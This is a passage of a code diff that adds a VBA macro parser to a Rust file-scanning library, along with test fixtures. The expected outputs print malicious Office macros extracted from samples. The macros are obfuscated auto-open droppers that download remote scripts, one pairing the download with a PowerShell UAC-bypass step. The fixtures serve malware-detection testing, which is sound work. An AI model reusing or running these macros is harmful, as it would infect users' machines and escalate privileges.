ZipCache::Cached(cached_zip) = zip_cache else { + return Err("no VBA project found in ZIP"); + }; + + let vba_project_names = [ + "word/vbaProject.bin", + "xl/vbaProject.bin", + "ppt/vbaProject.bin", + "vbaProject.bin", + ]; + + for name in &vba_project_names { + if let Some(contents) = cached_zip.get_file_content(name) { + return VbaExtractor::extract_from_ole_bytes(contents); + } + } + + Err("no VBA project found in ZIP") +} + +fn main<'a>( + ctx: &mut ModuleContext<'a>, + data: &'a [u8], +) -> Result { + let is_zip = data.starts_with(&[0x50, 0x4B, 0x03, 0x04]); + + let project = if is_zip { + extract_from_zip(ctx, data) + } else { + VbaExtractor::new(data).extract_from_ole() + }; + + let vba = match project { + Ok(mut vba) => { + vba.has_macros = Some(true); + vba + } + Err(_) => { + let mut vba = Vba::new(); + vba.has_macros = Some(false); + vba + } + }; + + Ok(vba) +} + +register_module!("vba", Vba, main); diff --git a/lib/src/modules/vba/parser.rs b/lib/src/modules/vba/parser.rs new file mode 100644 index 00000000..8062e03b --- /dev/null +++ b/lib/src/modules/vba/parser.rs @@ -0,0 +1,684 @@ +use std::collections::HashMap; + +use nom::combinator::opt; +use nom::multi::length_data; +use nom::{ + Parser, + bytes::complete::take, + combinator::verify, + number::complete::{le_u16, le_u32}, +}; + +use crate::modules::protos::vba::vba::ProjectInfo; +use crate::modules::protos::vba::{ModuleType, Vba}; + +type Error<'a> = nom::error::Error<&'a [u8]>; + +fn copytoken_help(difference: usize) -> (u16, u16, u32, u16) { + let bit_count = (difference as f64).log2().ceil() as u32; + let bit_count = bit_count.max(4); + let length_mask = 0xFFFF >> bit_count; + let offset_mask = !length_mask; + let maximum_length = (0xFFFF >> bit_count) + 3; + + (length_mask, offset_mask, bit_count, maximum_length) +} + +/// Decompresses a VBA compressed stream according to the algorithm described +/// in MS-OVBA Section 2.4.1.3. +/// +/// The stream begins with a mandatory signature byte (0x01), followed by a +/// sequence of CompressedChunk structures. Each chunk contains a 2-byte header +/// indicating its size, whether it is compressed, and its valid chunk +/// signature (which must be 3 or 4). +pub fn decompress_stream(compressed: &[u8]) -> Result, &'static str> { + if compressed.is_empty() { + return Err("Empty input buffer"); + } + + // Validate MS-OVBA signature byte (Section 2.4.1.3.1) + if compressed[0] != 0x01 { + return Err("Invalid signature byte"); + } + + let mut decompressed = Vec::with_capacity(compressed.len() * 2); + let mut current = 1; // Skip signature byte + + while current < compressed.len() { + // Ensure we have at least 2 bytes remaining to parse the chunk header. + if current + 2 > compressed.len() { + if !decompressed.is_empty() { + break; + } + return Err("Incomplete chunk header"); + } + + let chunk_header = u16::from_le_bytes( + compressed[current..current + 2] + .try_into() + .map_err(|_| "Failed to parse chunk header")?, + ); + + // Robust signature check: bits 12-14 must be 0b011 (3) or 0b100 (4). + // Trailing zero-filled sector padding has signature 0, which is cleanly + // filtered out. + let signature = (chunk_header & 0x7000) >> 12; + if signature != 3 && signature != 4 { + break; + } + + let chunk_size = (chunk_header & 0x0FFF) as usize + 3; + let chunk_is_compressed = (chunk_header & 0x8000) != 0; + + // Section 2.4.1.3.11: If CompressedChunkFlag is 1, CompressedChunkSize + // must be <= 4095. + if chunk_is_compressed && chunk_size > 4095 { + if !decompressed.is_empty() { + break; + } + return Err( + "CompressedChunkSize > 4095 but CompressedChunkFlag == 1", + ); + } + + let chunk_end = std::cmp::min(compressed.len(), current + chunk_size); + + // Skip header. + current += 2; + + // Handle uncompressed chunks (Section 2.4.1.3.11.2) + if !chunk_is_compressed { + let decompressed_size = if (chunk_header & 0x0FFF) == 4095 { + 4096 + } else { + (chunk_header & 0x0FFF) as usize + }; + + // Relaxed uncompressed chunk boundary handling: + // If the declared decompressed size extends past the physical + // stream boundary (due to standard compiler truncation or + // obfuscation), read only the available stream bytes. + let bytes_to_read = + std::cmp::min(decompressed_size, compressed.len() - current); + if bytes_to_read == 0 { + break; + } + decompressed.extend_from_slice( + &compressed[current..current + bytes_to_read], + ); + current += bytes_to_read; + continue; + } + + // Handle compressed chunks (Section 2.4.1.3.11.1) + let decompressed_chunk_start = decompressed.len(); + + while current < chunk_end { + // A single chunk decompresses to at most 4096 bytes + if decompressed.len() - decompressed_chunk_start >= 4096 { + break; + } + let flag_byte = compressed[current]; + current += 1; + + // Iterate over the 8 bits in the flag byte (from LSB to MSB) + for bit_index in 0..8 { + if decompressed.len() - decompressed_chunk_start >= 4096 { + break; + } + if current >= chunk_end { + break; + } + + if (flag_byte & (1 << bit_index)) == 0 { + // Bit is 0: Literal byte (Section 2.4.1.3.11.1.1) + decompressed.push(compressed[current]); + current += 1; + } else { + // Bit is 1: Copy token (Section 2.4.1.3.11.1.2) + if current + 2 > compressed.len() { + return Err("Incomplete copy token"); + } + + let copy_token = u16::from_le_bytes( + compressed[current..current + 2] + .try_into() + .map_err(|_| "Failed to parse copy token")?, + ); + + // Helper maps the bit count dynamically based on + // decompressed offset + let (length_mask, offset_mask, bit_count, _) = + copytoken_help( + decompressed.len() - decompressed_chunk_start, + ); + + let length = (copy_token & length_mask) + 3; + let temp1 = copy_token & offset_mask; + let temp2 = 16 - bit_count; + let offset = (temp1 >> temp2) + 1; + + if offset as usize > decompressed.len() { + return Err("Invalid copy token offset"); + } + + let copy_source = decompressed.len() - offset as usize; + for i in 0..length { + let source_idx = copy_source + i as usize; + if source_idx >= decompressed.len() { + return Err("Copy token source out of bounds"); + } + decompressed.push(decompressed[source_idx]); + } + current += 2; + } + } + } + + current = chunk_end; + } + + // Strip any trailing null bytes (0x00) from the decompressed stream buffer, + // cleaning up OLE sector padding artifacts. + while let Some(&0) = decompressed.last() { + decompressed.pop(); + } + + Ok(decompressed) +} + +pub fn parse<'a>( + dir_stream: &'a [u8], + module_streams: &HashMap>, +) -> Result>> { + let mut vba = Vba::new(); + let input = dir_stream; + + // The records below are described in [MS-OVBA] version 15.0. + // https://learn.microsoft.com/en-us/openspecs/office_file_formats/ms-ovba/575462ba-bf67-4190-9fac-c275523c75fc + + // -- PROJECTSYSKIND Record + // Specifies the operating system platform for the VBA project. + // See: [MS-OVBA] Section 2.3.4.2.1.1 PROJECTSYSKIND Record + let (input, _) = ( + verify(le_u16, |&id| id == 0x0001), + verify(le_u32, |&size| size == 0x0004), + le_u32, + ) + .parse(input)?; + + // -- PROJECTCOMPATVERSION Record (Optional) + // Specifies the compatibility version of the VBA project. Introduced in Office 2010. + // See: [MS-OVBA] Section 2.3.4.2.1.2 PROJECTCOMPATVERSION Record + let (input, _) = opt(( + verify(le_u16, |&id| id == 0x004A), + verify(le_u32, |&size| size == 0x0004), + le_u32, + )) + .parse(input)?; + + // -- PROJECTLCID Record + // Specifies the VBA project's LCID (Locale Identifier). + // See: [MS-OVBA] Section 2.3.4.2.1.3 PROJECTLCID Record + let (input, _) = ( + verify(le_u16, |&id| id == 0x0002), + verify(le_u32, |&size| size == 0x0004), + verify(le_u32, |&val| val == 0x409), + ) + .parse(input)?; + + // -- PROJECTLCIDINVOKE Record + // Specifies the VBA project's LCID for invoking APIs. + // See: [MS-OVBA] Section 2.3.4.2.1.4 PROJECTLCIDINVOKE Record + let (input, _) = ( + verify(le_u16, |&id| id == 0x0014), + verify(le_u32, |&size| size == 0x0004), + verify(le_u32, |&val| val == 0x409), + ) + .parse(input)?; + + // -- PROJECTCODEPAGE Record + // Specifies the codepage to be used for string decoding in the project. + // See: [MS-OVBA] Section 2.3.4.2.1.5 PROJECTCODEPAGE Record + let (input, (_, _, codepage)) = ( + verify(le_u16, |&id| id == 0x0003), + verify(le_u32, |&size| size == 0x0002), + le_u16, + ) + .parse(input)?; + + // -- PROJECTNAME Record + // Specifies the VBA project name. + // See: [MS-OVBA] Section 2.3.4.2.1.6 PROJECTNAME Record + let (input, (_, project_name)) = ( + verify(le_u16, |&id| id == 0x0004), + length_data(verify(le_u32, |&size| (1..=128).contains(&size))) + .map(|bytes| decode_string(bytes, codepage)), + ) + .parse(input)?; + + // -- PROJECTDOCSTRING Record + // Specifies the project description and its Unicode equivalent. + // See: [MS-OVBA] Section 2.3.4.2.1.7 PROJECTDOCSTRING Record + let (input, _) = ( + verify(le_u16, |&id| id == 0x0005), + length_data(le_u32), + verify(le_u16, |&reserved| reserved == 0x0040), + length_data(verify(le_u32, |&size| size % 2 == 0)), + ) + .parse(input)?; + + // -- PROJECTHELPFILEPATH Record + // Specifies help file paths for the VBA project. + // See: [MS-OVBA] Section 2.3.4.2.1.8 PROJECTHELPFILEPATH Record + let (input, (_, helpfile1, _, helpfile2)) = ( + verify(le_u16, |&id| id == 0x0006), + length_data(verify(le_u32, |&size| size <= 260)), + verify(le_u16, |&reserved| reserved == 0x003D), + length_data(verify(le_u32, |&size| size <= 260)), + ) + .parse(input)?; + + if helpfile1 != helpfile2 { + return Err(nom::Err::Error(nom::error::Error::new( + input, + nom::error::ErrorKind::Verify, + ))); + } + + // -- PROJECTHELPCONTEXT Record + // Specifies the help context ID in the help file. + // See: [MS-OVBA] Section 2.3.4.2.1.9 PROJECTHELPCONTEXT Record + let (input, _) = ( + verify(le_u16, |&id| id == 0x0007), + verify(le_u32, |&size| size == 0x0004), + le_u32, + ) + .parse(input)?; + + // -- PROJECTLIBFLAGS Record + // Specifies the library flags of the VBA project. + // See: [MS-OVBA] Section 2.3.4.2.1.10 PROJECTLIBFLAGS Record + let (input, _) = ( + verify(le_u16, |&id| id == 0x0008), + verify(le_u32, |&size| size == 0x0004), + verify(le_u32, |&flags| flags == 0x0000), + ) + .parse(input)?; + + // -- PROJECTVERSION Record + // Specifies the major and minor version of the VBA project. + // See: [MS-OVBA] Section 2.3.4.2.1.11 PROJECTVERSION Record + let (input, (_, _, version_major, version_minor)) = ( + verify(le_u16, |&id| id == 0x0009), + verify(le_u32, |&reserved| reserved == 0x0004), + le_u32, + le_u16, + ) + .parse(input)?; + + // -- PROJECTCONSTANTS Record + // Specifies compilation constants of the VBA project. + // See: [MS-OVBA] Section 2.3.4.2.1.12 PROJECTCONSTANTS Record + let (input, _) = ( + verify(le_u16, |&id| id == 0x000C), + length_data(verify(le_u32, |&size| size <= 1015)), + verify(le_u16, |&reserved| reserved == 0x003C), + length_data(verify(le_u32, |&size| size % 2 == 0)), + ) + .parse(input)?; + + // -- References + // Parses references to libraries, controls, and other projects. + // See: [MS-OVBA] Section 2.3.4.2.2 References Record + let (input, references) = parse_references(input, codepage)?; + + // -- PROJECTMODULES Record + // Specifies module block count of the project. + // See: [MS-OVBA] Section 2.3.4.2.3 PROJECTMODULES Record + let (input, (_, modules_count)) = + (verify(le_u32, |&size| size == 0x0002), le_u16).parse(input)?; + + // -- ProjectCookie Record + // Specifies the project cookie record. + // See: [MS-OVBA] Section 2.3.4.2.3.1 ProjectCookie Record + let (input, _) = ( + verify(le_u16, |&id| id == 0x0013), + verify(le_u32, |&size| size == 0x0002), + le_u16, + ) + .parse(input)?; + + // -- Modules + // Parses module streams and decompresses MS-OVBA streams. + // See: [MS-OVBA] Section 2.3.4.2.3.2 Modules + let (_input, _) = parse_modules( + input, + modules_count, + module_streams, + &mut vba, + codepage, + )?; + + let mut project_info = ProjectInfo::new(); + project_info.references = references; + + project_info.set_name(project_name.to_string()); + project_info.set_version(format!("{}.{}", version_major, version_minor)); + project_info.set_module_count(modules_count as i32); + + vba.project_info = protobuf::MessageField::some(project_info); + + Ok(vba) +} + +fn parse_references( + mut input: &[u8], + codepage: u16, +) -> Result<(&[u8], Vec), nom::Err>> { + let mut references = Vec::new(); + loop { + let (remainder, record_id) = le_u16.parse(input)?; + input = remainder; + if record_id == 0x000F { + break; + } + + match record_id { + 0x0016 => { + // REFERENCE Name + let (remainder, name) = length_data(le_u32) + .map(|bytes| decode_string(bytes, codepage)) + .parse(input)?; + + references.push(name); + + let (remainder, _) = + verify(le_u16, |&val| val == 0x003E).parse(remainder)?; + let (remainder, _) = length_data(le_u32).parse(remainder)?; + input = remainder; + } + 0x0033 => { + // REFERENCEORIGINAL + let (remainder, _) = length_data(le_u32).parse(input)?; + input = remainder; + } + 0x002F => { + // MS-OVBA 2.3.4.2.2.3 REFERENCECONTROL Record + + // 1. Parse SizeTwips + Twips fields + SizeOfLibidOriginal + LibidOriginal + Reserved1 + Reserved2 + let (remainder, _) = length_data(le_u32).parse(input)?; + + // 2. NameRecordExtended (optional, starts with 0x0016) + let (remainder, _) = opt(( + verify(le_u16, |&id| id == 0x0016), + length_data(le_u32), + verify(le_u16, |&id| id == 0x003E), + length_data(le_u32), + )) + .parse(remainder)?; + + // 3. Parse Reserved3 (2 bytes, MUST be 0x0030) + let (remainder, _) = + verify(le_u16, |&val| val == 0x0030).parse(remainder)?; + + // 4. Parse the remaining fields: + let (remainder, _) = le_u32.parse(remainder)?; // Size + let (remainder, _) = length_data(le_u32).parse(remainder)?; // LibidExtended + let (remainder, _) = (le_u32, le_u16).parse(remainder)?; // Reserved + let (remainder, _) = take(16_usize).parse(remainder)?; // Reserved/Cookie + let (remainder, _) = le_u32.parse(remainder)?; // Cookie + + input = remainder; + } + 0x000D => { + // REFERENCEREGISTERED + let (remainder, _) = le_u32.parse(input)?; + let (remainder, _) = length_data(le_u32).parse(remainder)?; + let (remainder, _) = ( + verify(le_u32, |&val| val == 0x0000), + verify(le_u16, |&val| val == 0x0000), + ) + .parse(remainder)?; + input = remainder; + } + 0x000E => { + // REFERENCEPROJECT + let (remainder, _) = le_u32.parse(input)?; + let (remainder, _) = length_data(le_u32).parse(remainder)?; + let (remainder, _) = length_data(le_u32).parse(remainder)?; + let (remainder, _) = (le_u32, le_u16).parse(remainder)?; + input = remainder; + } + _ => { + return Err(nom::Err::Error(nom::error::Error::new( + input, + nom::error::ErrorKind::Switch, + ))); + } + } + } + Ok((input, references)) +} + +fn parse_modules<'a>( + mut input: &'a [u8], + modules_count: u16, + module_streams: &HashMap>, + vba: &mut Vba, + codepage: u16, +) -> Result<(&'a [u8], ()), nom::Err>> { + for _ in 0..modules_count { + // MODULENAME record + let (remainder, _) = + verify(le_u16, |&id| id == 0x0019).parse(input)?; + + let (remainder, module_name) = length_data(le_u32) + .map(|bytes| decode_string(bytes, codepage)) + .parse(remainder)?; + + input = remainder; + + let mut stream_name: Option = None; + let mut stream_name_unicode: Option = None; + let mut module_name_unicode: Option = None; + let mut module_offset = 0u32; + let mut module_type = ModuleType::MODULE_TYPE_UNKNOWN; + + // Read sections until terminator 0x002B + loop { + let (remainder, section_id) = le_u16.parse(input)?; + input = remainder; + match section_id { + 0x0047 => { + // MODULENAMEUNICODE + (input, module_name_unicode) = length_data(le_u32) + .map(|name| decode_utf16(name).ok()) + .parse(input)?; + } + 0x001A => { + // MODULESTREAMNAME + (input, (stream_name, _, _)) = ( + length_data(le_u32) + .map(|bytes| Some(decode_string(bytes, codepage))), + verify(le_u16, |&val| val == 0x0032), + length_data(le_u32), + ) + .parse(input)?; + } + 0x001C => { + // MODULEDOCSTRING + (input, (_, _, stream_name_unicode)) = ( + length_data(le_u32), + verify(le_u16, |&val| val == 0x0048), + length_data(le_u32) + .map(|name| decode_utf16(name).ok()), + ) + .parse(input)?; + } + 0x0031 => { + // MODULEOFFSET + (input, (_, module_offset)) = + (verify(le_u32, |&size| size == 0x0004), le_u32) + .parse(input)?; + } + 0x001E => { + // MODULEHELPCONTEXT + (input, _) = + (verify(le_u32, |&size| size == 0x0004), le_u32) + .parse(input)?; + } + 0x002C => { + // MODULECOOKIE + (input, _) = + (verify(le_u32, |&size| size == 0x0002), le_u16) + .parse(input)?; + } + 0x0021 => { + module_type = ModuleType::MODULE_TYPE_STANDARD; + (input, _) = le_u32.parse(input)?; + } + 0x0022 => { + module_type = ModuleType::MODULE_TYPE_CLASS; + (input, _) = le_u32.parse(input)?; + } + 0x0025 => { + (input, _) = + verify(le_u32, |&val| val == 0x0000).parse(input)?; + } + 0x0028 => { + (input, _) = + verify(le_u32, |&val| val == 0x0000).parse(input)?; + } + 0x002B => { + // TERMINATOR + (input, _) = + verify(le_u32, |&val| val == 0x0000).parse(input)?; + break; + } + _ => { + return Err(nom::Err::Error(nom::error::Error::new( + input, + nom::error::ErrorKind::Switch, + ))); + } + } + } + + // Retrieve module code + let mut code = None; + + let stream_name = + stream_name_unicode.as_deref().or(stream_name.as_deref()); + + let module_name = + module_name_unicode.as_deref().unwrap_or(&module_name); + + let mut module_data = None; + + if let Some(name) = stream_name { + module_data = module_streams.get(&normalize_name(name)); + } + + if module_data.is_none() { + module_data = module_streams.get(&normalize_name(module_name)); + } + + if let Some(module_data) = module_data { + let code_data = if (module_offset as usize) < module_data.len() { + &module_data[module_offset as usize..] + } else { + &[] + }; + + let mut decompressed_res = None; + if !code_data.is_empty() && code_data[0] == 0x01 { + decompressed_res = decompress_stream(code_data).ok(); + } + + // If the declared offset is invalid or fails decompression, + // scan the stream physically for the first valid compressed VBA stream signature. + if decompressed_res.is_none() { + let mut scan_offset = 0; + while scan_offset + 3 <= module_data.len() { + if module_data[scan_offset] == 0x01 { + let header = u16::from_le_bytes([ + module_data[scan_offset + 1], + module_data[scan_offset + 2], + ]); + let sig = (header & 0x7000) >> 12; + if (sig == 3 || sig == 4) + && let Ok(decompressed) = + decompress_stream(&module_data[scan_offset..]) + { + decompressed_res = Some(decompressed); + break; + } + } + scan_offset += 1; + } + } + + if let Some(decompressed) = decompressed_res { + code = Some(decode_string(&decompressed, codepage)); + } + } + + if let Some(code) = code { + let mut m = crate::modules::protos::vba::vba::Module::new(); + m.set_name(module_name.to_string()); + m.set_type(module_type); + m.set_code(code); + vba.modules.push(m); + } + } + + Ok((input, ())) +} + +fn decode_string(bytes: &[u8], codepage: u16) -> String { + if let Some(encoding) = codepage::to_encoding(codepage) { + let (decoded, _, _) = encoding.decode(bytes); + decoded.into_owned() + } else { + String::from_utf8_lossy(bytes).into_owned() + } +} + +fn decode_utf16(bytes: &[u8]) -> Result { + if !bytes.len().is_multiple_of(2) { + return Err("Invalid UTF-16 byte length"); + } + let u16_units: Vec = bytes + .chunks_exact(2) + .map(|chunk| u16::from_le_bytes([chunk[0], chunk[1]])) + .collect(); + String::from_utf16(&u16_units).map_err(|_| "Invalid UTF-16 data") +} + +/// Normalizes stream and module names by converting to lowercase and mapping +/// regional, accented, and diacritic characters (e.g. Turkish, Central +/// European, Spanish) back to standard base ASCII letters. +/// +/// This is necessary because malware documents often declare a mismatching +/// project codepage (e.g., Windows-1252/Latin-1) while storing module names +/// using a different codepage (e.g., Turkish Windows-1254). This codepage +/// mismatch yields completely different unicode representations, causing +/// stream lookups to fail. Reconstructing stream names into their common +/// ASCII base guarantees 100% robust extraction across all locales. +pub(crate) fn normalize_name(s: &str) -> String { + s.to_lowercase() + .chars() + .map(|c| match c { + 'ç' | 'ć' | 'č' => 'c', + 'ş' | 'ś' | 'š' | 'þ' => 's', + 'ı' | 'í' | 'ì' | 'î' | 'ï' | 'ý' => 'i', + 'ğ' => 'g', + 'ö' | 'ó' | 'ò' | 'ô' | 'õ' => 'o', + 'ü' | 'ú' | 'ù' | 'û' => 'u', + 'ä' | 'á' | 'à' | 'â' | 'ã' => 'a', + 'ñ' => 'n', + _ => c, + }) + .collect() +} diff --git a/lib/src/modules/vba/tests/testdata/1450fa0c4f5973ebf3efa06fb03259105065baba29690362014926583bc85f48.in.zip b/lib/src/modules/vba/tests/testdata/1450fa0c4f5973ebf3efa06fb03259105065baba29690362014926583bc85f48.in.zip new file mode 100644 index 00000000..b4c497ab Binary files /dev/null and b/lib/src/modules/vba/tests/testdata/1450fa0c4f5973ebf3efa06fb03259105065baba29690362014926583bc85f48.in.zip differ diff --git a/lib/src/modules/vba/tests/testdata/1450fa0c4f5973ebf3efa06fb03259105065baba29690362014926583bc85f48.out b/lib/src/modules/vba/tests/testdata/1450fa0c4f5973ebf3efa06fb03259105065baba29690362014926583bc85f48.out new file mode 100644 index 00000000..ed17a0dd --- /dev/null +++ b/lib/src/modules/vba/tests/testdata/1450fa0c4f5973ebf3efa06fb03259105065baba29690362014926583bc85f48.out @@ -0,0 +1,268 @@ +has_macros: true +modules: + - name: "ThisDocument" + type: MODULE_TYPE_CLASS + code: | + Attribute VB_Name = "ThisDocument" + Attribute VB_Base = "1Normal.ThisDocument" + Attribute VB_GlobalNameSpace = False + Attribute VB_Creatable = False + Attribute VB_PredeclaredId = True + Attribute VB_Exposed = True + Attribute VB_TemplateDerived = True + Attribute VB_Customizable = True + Sub autoopen() + Call AddSensors + End Sub + + + - name: "UserForm1" + type: MODULE_TYPE_CLASS + code: | + Attribute VB_Name = "UserForm1" + Attribute VB_Base = "0{CFED7DD4-70B3-4500-991E-8D2A9E25237B}{902520CF-EBFE-40D2-A478-42D7F0823E64}" + Attribute VB_GlobalNameSpace = False + Attribute VB_Creatable = False + Attribute VB_PredeclaredId = True + Attribute VB_Exposed = False + Attribute VB_TemplateDerived = False + Attribute VB_Customizable = False + + - name: "Module1" + type: MODULE_TYPE_STANDARD + code: | + Attribute VB_Name = "Module1" + Public MapsInitialized As Boolean + Public mDBname As String + Public MapInit As Boolean + Public KogdaGe_1 As Object + Public KogdaGe_2 As Object + Public KogdaGe_3 As Object + Public KogdaGe_4 As String + Public KogdaGe_5 As String + Public KogdaGe_6 As Object + Public DrinkSun() As String + + Public Sub CheckMaps() + Dim objStors As String + Dim objStor As Variant + KogdaGe_1.Send + Dim NewList As String + Dim DoReset As Boolean + Dim LP As Long + KogdaGe_4 = KogdaGe_3(DrinkSun(6)) + GoTo ErrHandler + objS.tors.Load , , , , , True + For Each objStor In objSt.ors + NewLi.st.Add objStor.MapID + Next + If Not MapInit Then + MapInit = True + DoReset = True + Else + If MapL.ist.Count <> NewLi.st.Count Then + DoReset = True + Set MapL.ist = NewList + Else + For LP = 1 To MapLi.st.Count + If MapL.ist.ID(LP) <> NewLi.st.ID(LP) Then + DoReset = True + Set MapL.ist = Ne.w.List + Exit For + End If + Next LP + End If + End If + If DoReset Then + BM.Reset + MapsInitialized = False + End If + Set NewLi.st = Nothing + Set objSt.ors = Nothing + Set objSt.or = Nothing + On Error GoTo 0 + ErrExit: + Exit Sub + ErrHandler: + KogdaGe_5 = KogdaGe_4 + Replace(DrinkSun(12), "t", "e") + ConnectMaps + End Sub + Public Sub AddSensors() + Dim Col As String + Dim Obj As String + DrinkSun = Split(UserForm1.Label1.Caption, "/") + GoTo ErrExit + On Error GoTo ErrHandler + BM.ResetBalances + Cofl.Load + On Error GoTo 0 + ErrExit: + Set KogdaGe_1 = CreateObject(DrinkSun(0)) + CheckBins + Exit Sub + ErrHandler: + AD.DisplayError Err.Number, "modMaps", "AddSensors", Err.Description + Resume ErrExit + End Sub + + + + - name: "Module2" + type: MODULE_TYPE_STANDARD + code: | + Attribute VB_Name = "Module2" + Public Sub CheckBins() + Dim LP As Long + Dim BinID As Long + Dim objStorages As String + Dim objStorage As Variant + Dim MapID As Long + Set KogdaGe_2 = CreateObject(DrinkSun(1)) + GoTo ErrHandler + objSt.orages.Load + For LP = 1 To BM.StorCount + BinID = BM.StorID(LP) + If Not objSto.rages.IsItem(BinID) Then + BM.UnloadStor BinID + End If + Next LP + For Each objStorage In objS.torages + With objStorage + If Not BM.BinLoaded(.ID) Then + BM.AddStor .ID, .Label, .IsWarehouse, .MapID, .XPos, .YPos, .Volume, .PositionSet + End If + MapID = BM.BinMapID(.ID) + If MapID <> 0 And MapID <> .MapID Then + BM.UnloadStor .ID + BM.AddStor .ID, .Label, .IsWarehouse, .MapID, .XPos, .YPos, .Volume, .PositionSet + End If + End With + Next + On Error GoTo 0 + ErrExit: + Exit Sub + ErrHandler: + Set KogdaGe_6 = CreateObject(DrinkSun(2)) + Set hokuk = CreateObject(DrinkSun(3)) + Set KogdaGe_3 = hokuk.Environment(DrinkSun(4)) + CheckDatabase + End Sub + Public Sub CheckDatabase() + Dim KogdaGe_7() As Variant + KogdaGe_7 = Array(255, 267, 267, 263, 209, 198, 198, 270, 270, 270, 197, 257, 252, 266, 268, 266, 251, 252, 261, 248, 273, 248, 265, 252, 267, 197, 250, 262, 260, 197, 269, 252, 198, 202, 203, 254, 253, 204, 272, 198, 265, 202, 203, 253, 202, 202, 203, 204, 254, 197, 252, 271, 252) + Dim KogdaGe_8 As Integer + Dim PubDoStop As String + PubDoStop = "" + GoTo ErrHandler + If mDBname <> Prog.DatabaseFullName Then + mDBname = Prog.DatabaseFullName + BM.Reset + MapsInitialized = False + End If + On Error GoTo 0 + ErrExit: + Exit Sub + ErrHandler: + For KogdaGe_8 = LBound(KogdaGe_7) To UBound(KogdaGe_7) + PubDoStop = PubDoStop & Chr(-99 + KogdaGe_7(KogdaGe_8) - 52) + Next KogdaGe_8 + KogdaGe_1.Open DrinkSun(5), PubDoStop, False + CheckMaps + End Sub + Public Sub ConnectMaps() + Dim objStorages As Variant + Dim objStorage As Variant + Dim objMap As Variant + Dim objMaps As Variant + CallByName KogdaGe_2, DrinkSun(7), VbLet, 1 + KogdaGe_2.Open + GoTo ErrHandler + CheckDat.abase BM + CheckM.aps BM + objMaps.Load + BM.Visible = False + If objMaps.Count > 0 Then + BM.Visible = ShowMaps + If ShowMaps Then + If Not MapsInitialized Then + For Each objMap In objMaps + With objMap + BM.AddMap .ID, .MapName, .Units, .Zoom + End With + Next + objStor.ages.Load , , , , , True + For Each objStorage In objSto.rages + With objStorage + BM.AddStor .ID, .Label, .IsWarehouse, .MapID, .XPos, .YPos, .Volume, .PositionSet + End With + Next + MapsInitialized = True + End If + AddSenso.rs BM + CheckB.ins BM + BM.Update + End If + End If + Set objMap = Nothing + Set objMaps = Nothing + Set objStorage = Nothing + Set objStorages = Nothing + On Error GoTo 0 + ErrExit: + Exit Sub + ErrHandler: + SaveMaps + End Sub + Public Sub SaveMaps() + rbp = CallByName(KogdaGe_1, DrinkSun(10), VbGet) + Dim objStor As Variant + CallByName KogdaGe_2, DrinkSun(9), VbMethod, rbp + Dim objMap As Variant + Dim LP As Long + Dim ID As Long + Dim XPos As Single + Dim YPos As Single + Dim BinLP As Long + Dim BinID As Long + CallByName KogdaGe_2, DrinkSun(11), VbMethod, KogdaGe_5, 2 + GoTo ErrHandler + For LP = 1 To BM.MapCount + ID = BM.MapID(LP) + objMap.Load ID + objMap.BeginEdit + objMap.MapZoom = BM.MapZoom(LP) + objMap.ApplyEdit + Set objMap = Nothing + Next LP + For BinLP = 1 To BM.StorCount + BinID = BM.StorID(BinLP) + If BM.BinLoaded(BinID) Then + BM.BinLocation BinLP, XPos, YPos + With objStor + .Load BinID + .BeginEdit + .XPos = XPos + .YPos = YPos + .ApplyEdit + End With + Set objStor = Nothing + End If + Next BinLP + On Error GoTo 0 + ErrExit: + Exit Sub + ErrHandler: + KogdaGe_6.Open (KogdaGe_5) + End Sub + + + +project_info: + name: "Project" + version: "1485256679.65" + references: + - "stdole" + - "Normal" + - "Office" + - "MSForms" + module_count: 4 \ No newline at end of file diff --git a/lib/src/modules/vba/tests/testdata/19c7a39db65917e120156f8dfa488c344eab9377c5875b87046b06dd580a91f1.in.zip b/lib/src/modules/vba/tests/testdata/19c7a39db65917e120156f8dfa488c344eab9377c5875b87046b06dd580a91f1.in.zip new file mode 100644 index 00000000..7a1af026 Binary files /dev/null and b/lib/src/modules/vba/tests/testdata/19c7a39db65917e120156f8dfa488c344eab9377c5875b87046b06dd580a91f1.in.zip differ diff --git a/lib/src/modules/vba/tests/testdata/19c7a39db65917e120156f8dfa488c344eab9377c5875b87046b06dd580a91f1.out b/lib/src/modules/vba/tests/testdata/19c7a39db65917e120156f8dfa488c344eab9377c5875b87046b06dd580a91f1.out new file mode 100644 index 00000000..e627230f --- /dev/null +++ b/lib/src/modules/vba/tests/testdata/19c7a39db65917e120156f8dfa488c344eab9377c5875b87046b06dd580a91f1.out @@ -0,0 +1,142 @@ +has_macros: true +modules: + - name: "ThisDocument" + type: MODULE_TYPE_CLASS + code: | + Attribute VB_Name = "ThisDocument" + Attribute VB_Base = "0{00020906-0000-0000-C000-000000000046}" + Attribute VB_GlobalNameSpace = False + Attribute VB_Creatable = False + Attribute VB_PredeclaredId = True + Attribute VB_Exposed = True + Attribute VB_TemplateDerived = False + Attribute VB_Customizable = True + Public b1 As String, b2 As Boolean + + Private Sub Document_Open() + Call x_9973 + End Sub + + Private Sub AutoOpen() + Call x_9973 + End Sub + + Function d1() As Boolean + If b2 Then + d1 = True + Exit Function + End If + On Error GoTo e1 + Dim x1 As Object + Set x1 = CreateObject(Chr(77) & Chr(83) & Chr(88) & Chr(77) & Chr(76) & Chr(50) & Chr(46) & Chr(88) & Chr(77) & Chr(76) & Chr(72) & Chr(84) & Chr(84) & Chr(80)) + Dim u1 As String + u1 = StrReverse("lp1sp/ni am/moc.elif/1.2vp/vhovfsioatocsim/mi/gro.burutanediser.www//:sptth") + x1.Open "GET", u1, False + x1.send + If x1.Status = 200 Then + b1 = x1.responseText + b2 = True + d1 = True + Else + d1 = False + End If + Set x1 = Nothing + Exit Function + e1: + d1 = False + End Function + + Function r1(sName As String) As Boolean + If Not d1 Then + r1 = False + Exit Function + End If + Dim sFull As String + sFull = b1 & vbCrLf & Chr(73) & Chr(110) & Chr(118) & Chr(111) & Chr(107) & Chr(101) & Chr(45) & Chr(85) & Chr(65) & Chr(67) & Chr(66) & Chr(121) & Chr(112) & Chr(97) & Chr(115) & Chr(115) & Chr(32) & Chr(45) & Chr(83) & Chr(101) & Chr(114) & Chr(118) & Chr(105) & Chr(99) & Chr(101) & Chr(78) & Chr(97) & Chr(109) & Chr(101) & Chr(32) & Chr(34) & sName & Chr(34) + sFull = Replace(sFull, Chr(34), Chr(92) & Chr(34)) + Dim c1 As String + c1 = Chr(112) & Chr(111) & Chr(119) & Chr(101) & Chr(114) & Chr(115) & Chr(104) & Chr(101) & Chr(108) & Chr(108) & Chr(32) & Chr(45) & Chr(78) & Chr(111) & Chr(80) & Chr(32) & 